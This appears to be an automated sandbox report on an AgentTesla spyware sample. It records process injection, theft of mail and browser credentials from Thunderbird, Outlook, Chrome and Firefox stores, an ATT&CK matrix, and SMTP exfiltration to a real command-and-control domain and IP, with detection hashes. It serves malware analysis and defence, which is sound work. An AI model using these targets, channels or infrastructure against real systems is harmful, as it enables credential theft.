Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe			Jump to behavior

Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe, 00000001.00000002.431461693.0000000002EF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe, 00000001.00000002.431461693.0000000002EF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Progman

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 4.0.cvtres.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.cvtres.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.cvtres.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.cvtres.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.429466512.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.688515843.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.428206053.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.428807538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.428533310.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.433445075.00000000048BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.690509343.0000000007018000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe PID: 6912, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cvtres.exe PID: 7028, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior

Source: Yara match	File source: 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cvtres.exe PID: 7028, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 4.0.cvtres.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.cvtres.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.cvtres.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.cvtres.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.cvtres.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.4da49c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.429466512.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.688515843.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.428206053.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.428807538.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.428533310.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.433445075.00000000048BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.690509343.0000000007018000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe PID: 6912, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cvtres.exe PID: 7028, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	Path Interception	312 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	111 Input Capture	2 Process Discovery	Remote Desktop Protocol	111 Input Capture	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	141 Virtualization/Sandbox Evasion	Security Account Manager	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	11 Archive Collected Data	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	312 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	1 Data from Local System	Scheduled Transfer	11 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	1 Clipboard Data	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	4 Obfuscated Files or Information	Cached Domain Credentials	114 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	3 Software Packing	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	38%	Virustotal		Browse
SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	30%	ReversingLabs	ByteCode-MSIL.Spyware.Noon
SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
4.0.cvtres.exe.400000.4.unpack	100%	Avira	TR/Spy.Gen8	Download File
4.0.cvtres.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
4.2.cvtres.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
4.0.cvtres.exe.400000.2.unpack	100%	Avira	TR/Spy.Gen8	Download File
4.0.cvtres.exe.400000.3.unpack	100%	Avira	TR/Spy.Gen8	Download File
4.0.cvtres.exe.400000.1.unpack	100%	Avira	TR/Spy.Gen8	Download File

Domains

Source	Detection	Scanner	Label	Link
rematinvest.ro	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://mail.rematinvest.ro	0%	Avira URL Cloud	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://rematinvest.ro	0%	Avira URL Cloud	safe
https://api.ipify.org%%startupfolder%	0%	URL Reputation	safe
http://NKVjVb.com	0%	Avira URL Cloud	safe
https://api.ipify.org%	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	0%	URL Reputation	safe
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
rematinvest.ro	109.99.162.14	true	true	0%, Virustotal, Browse	unknown
mail.rematinvest.ro	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://mail.rematinvest.ro	cvtres.exe, 00000004.00000002.690948171.00000000070A8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:HTTP/1.1	cvtres.exe, 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://rematinvest.ro	cvtres.exe, 00000004.00000002.690948171.00000000070A8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org%%startupfolder%	cvtres.exe, 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	low
http://NKVjVb.com	cvtres.exe, 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org%	cvtres.exe, 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	cvtres.exe, 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	cvtres.exe, 00000004.00000002.690286569.0000000006FC3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
109.99.162.14	rematinvest.ro	Romania		9050	RTDBucharestRomaniaRO	true

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	671866
Start date and time: 22/07/202219:35:08	2022-07-22 19:35:08 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.9881 (renamed file extension from 9881 to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/1@2/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 14.9% (good quality ratio 9.6%) Quality average: 42.8% Quality standard deviation: 37.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 53 Number of non-executed functions: 17
Cookbook Comments:	Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, client.wns.windows.com, licensing.mp.microsoft.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:36:18	API Interceptor	1x Sleep call for process: SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe modified
19:36:24	API Interceptor	805x Sleep call for process: cvtres.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
109.99.162.14	SecuriteInfo.com.TrojanSpy.MSIL.Kryptik.bfb22406.2449.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
RTDBucharestRomaniaRO	SecuriteInfo.com.TrojanSpy.MSIL.Kryptik.bfb22406.2449.exe	Get hash	malicious	Browse	109.99.162.14
	bMwvKA6Owe.exe	Get hash	malicious	Browse	109.102.255.230
	kfHWoySTel	Get hash	malicious	Browse	109.99.173.28
	home.mips	Get hash	malicious	Browse	80.97.224.199
	#Ud83d#Udd0a VM 9193408792.wav.html	Get hash	malicious	Browse	92.87.6.53
	jTpjSXxHjt.dll	Get hash	malicious	Browse	92.81.66.155
	oWmdf3W67o.dll	Get hash	malicious	Browse	109.103.48.81
	djA1JX3UZv.dll	Get hash	malicious	Browse	92.83.238.161
	342hs5UFG1.dll	Get hash	malicious	Browse	109.102.113.172
	196608.htm	Get hash	malicious	Browse	92.87.6.53
	fxyKXb2hV5.dll	Get hash	malicious	Browse	109.103.83.54
	v8Rhp4teOl.dll	Get hash	malicious	Browse	92.85.58.229
	7T2Y8w1zOi.dll	Get hash	malicious	Browse	92.83.239.195
	E3mbtPKpoj.dll	Get hash	malicious	Browse	92.80.107.22
	agsS7yP4eP.dll	Get hash	malicious	Browse	89.121.130.106
	Vi3ioqKqPS.dll	Get hash	malicious	Browse	86.35.226.0
	eYB6B0ahQe.dll	Get hash	malicious	Browse	92.81.231.56
	196488.htm	Get hash	malicious	Browse	92.87.6.53
	cutie.spc	Get hash	malicious	Browse	92.84.221.174
	xd.arm7	Get hash	malicious	Browse	109.97.15.12

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.log

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.3467126928258955
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2LDY3U21v:Q3La/KDLI4MWuPk21v
MD5:	DD8B7A943A5D834CEEAB90A6BBBF4781
SHA1:	2BED8D47DF1C0FF76B40811E5F11298BD2D06389
SHA-256:	E1D0A304B16BE51AE361E392A678D887AB0B76630B42A12D252EDC0484F0333B
SHA-512:	24167174EA259CAF57F65B9B9B9C113DD944FC957DB444C2F66BC656EC2E6565EFE4B4354660A5BE85CE4847434B3BDD4F7E05A9E9D61F4CC99FF0284DAA1C87
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.826479487170498
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe
File size:	352408
MD5:	06479be352128f527656809d8a2e1943
SHA1:	e5ae7ebeebcab238b19595981b06c44fd4cb455d
SHA256:	a9e441722bbaab6eb53c633f5a6e54a0a51ee2c540ab0bf34b78582c3a9ad5a8
SHA512:	b52578f2a1969d253325cdffb661ce2b3304827b163078772c01b79bfb035b8109598a83ddd660183c092a8fd53d12121243dcfa38977b148e85e974ede8017d
SSDEEP:	6144:F65ozXWHoc5uKB9lcXXiREBMUXjC+3PdhHd2mEfW9hbbK32yr4nrA:HXWICLaiREBMUXjrhHd2mEfW9hbG32y1
TLSH:	957428883E5071CFCC02C871DA787C54AADC6C6657179202AC5736ADAB3F59F8E371A2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....[.b..............0.............n.... ........@.. ....................................`................................

File Icon


Icon Hash:	18d0c4ccccc4d800

Static PE Info

General

Entrypoint:	0x43a06e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x62DA5BF3 [Fri Jul 22 08:12:35 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign CodeSigning CA - SHA256 - G3, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	8/25/2020 6:42:07 AM 8/26/2023 6:42:07 AM
Subject Chain	CN=win.rar GmbH, O=win.rar GmbH, L=Berlin, S=Berlin, C=DE
Version:	3
Thumbprint MD5:	185DBD4A2E2671589EEB3E7E1920EA9F
Thumbprint SHA-1:	B3DF816A17A25557316D181DDB9F46254D6D8CA0
Thumbprint SHA-256:	66DB1C86D38273627C837F4638122FA88BBFFFF31C4052115B98CAF6CE0C631E
Serial:	731D40AE3F3A1FB2BC3D8395

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3a01c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c000	0x19a76	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x52200	0x3e98
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x56000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x39fd0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x38074	0x38200	False	0.8407876879175946	data	7.673868780802566	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x3c000	0x19a76	0x19c00	False	0.08731227245145631	data	3.132050181683162	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x56000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x3c254	0xd68	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0x3cfbc	0x10828	dBase III DBT, version number 0, next free block index 40
RT_ICON	0x4d7e4	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
RT_ICON	0x51a0c	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
RT_ICON	0x53fb4	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 0, next used block 0
RT_ICON	0x5505c	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x554c4	0x5a	data
RT_VERSION	0x55520	0x36c	data
RT_MANIFEST	0x5588c	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.5109.99.162.14497755872851779 07/22/22-19:36:28.834857	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49775	587	192.168.2.5	109.99.162.14
192.168.2.5109.99.162.14497755872030171 07/22/22-19:36:28.834742	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49775	587	192.168.2.5	109.99.162.14
192.168.2.5109.99.162.14497755872840032 07/22/22-19:36:28.834857	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49775	587	192.168.2.5	109.99.162.14

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 22, 2022 19:36:28.328042984 CEST	49775	587	192.168.2.5	109.99.162.14
Jul 22, 2022 19:36:28.373176098 CEST	587	49775	109.99.162.14	192.168.2.5
Jul 22, 2022 19:36:28.373307943 CEST	49775	587	192.168.2.5	109.99.162.14
